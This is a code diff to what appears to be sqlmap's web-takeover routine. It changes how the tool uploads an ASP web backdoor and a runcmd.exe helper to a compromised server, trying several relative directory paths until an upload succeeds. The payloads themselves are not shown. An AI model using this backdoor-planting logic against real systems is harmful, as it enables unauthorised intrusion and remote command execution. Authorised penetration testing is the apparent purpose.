@@ -169,7 +169,7 @@ def webInit(self):
169169
170170 backdoorName = "tmpb%s.%s" % (randomStr (4 ), self .webApi )
171171 backdoorStream = decloakToNamedTemporaryFile (os .path .join (paths .SQLMAP_SHELL_PATH , "backdoor.%s_" % self .webApi ), backdoorName )
172- backdoorContent = backdoorStream .read ()
172+ originalBackdoorContent = backdoorContent = backdoorStream .read ()
173173
174174 uploaderName = "tmpu%s.%s" % (randomStr (4 ), self .webApi )
175175 uploaderContent = decloak (os .path .join (paths .SQLMAP_SHELL_PATH , "uploader.%s_" % self .webApi ))
@@ -200,20 +200,24 @@ def webInit(self):
200200 logger .info (infoMsg )
201201
202202 if self .webApi == "asp" :
203+ scriptsDirectory = "Scripts"
203204 runcmdName = "tmpe%s.exe" % randomStr (4 )
204205 runcmdStream = decloakToNamedTemporaryFile (os .path .join (paths .SQLMAP_SHELL_PATH , 'runcmd.exe_' ), runcmdName )
205- scriptsDirectory = "Scripts"
206- backdoorDirectory = "%s..\%s" % (posixToNtSlashes (directory ), scriptsDirectory )
207- backdoorContent = backdoorContent .replace ("WRITABLE_DIR" , backdoorDirectory ).replace ("RUNCMD_EXE" , runcmdName )
208- backdoorStream .file .truncate ()
209- backdoorStream .read ()
210- backdoorStream .seek (0 )
211- backdoorStream .write (backdoorContent )
212- if self .__webFileStreamUpload (backdoorStream , backdoorName , backdoorDirectory ):
213- self .__webFileStreamUpload (runcmdStream , runcmdName , backdoorDirectory )
214- self .webBackdoorUrl = "%s/%s/%s" % (self .webBaseUrl .rstrip ('/' ), scriptsDirectory , backdoorName )
215- self .webDirectory = directory
216- else :
206+ backdoorUploaded = False
207+ for backdoorDirectoryFormat in ("%s.\%s" , "%s..\%s" , "%s..\..\%s" ):
208+ backdoorDirectory = backdoorDirectoryFormat % (posixToNtSlashes (directory ), scriptsDirectory )
209+ backdoorContent = originalBackdoorContent .replace ("WRITABLE_DIR" , backdoorDirectory ).replace ("RUNCMD_EXE" , runcmdName )
210+ backdoorStream .file .truncate ()
211+ backdoorStream .read ()
212+ backdoorStream .seek (0 )
213+ backdoorStream .write (backdoorContent )
214+ if self .__webFileStreamUpload (backdoorStream , backdoorName , backdoorDirectory ):
215+ self .__webFileStreamUpload (runcmdStream , runcmdName , backdoorDirectory )
216+ self .webBackdoorUrl = "%s/%s/%s" % (self .webBaseUrl .rstrip ('/' ), scriptsDirectory , backdoorName )
217+ self .webDirectory = backdoorDirectory
218+ backdoorUploaded = True
219+ break
220+ if not backdoorUploaded :
217221 continue
218222 elif not self .__webFileStreamUpload (backdoorStream , backdoorName , posixToNtSlashes (directory ) if kb .os == "Windows" else directory ):
219223 warnMsg = "backdoor hasn't been successfully uploaded "
@@ -231,7 +235,7 @@ def webInit(self):
231235 self .webDirectory = directory
232236
233237 infoMsg = "the backdoor has probably been successfully "
234- infoMsg += "uploaded on '%s', go with your browser " % directory
238+ infoMsg += "uploaded on '%s', go with your browser " % self . webDirectory
235239 infoMsg += "to '%s' and enjoy it!" % self .webBackdoorUrl
236240 logger .info (infoMsg )
237241
0 commit comments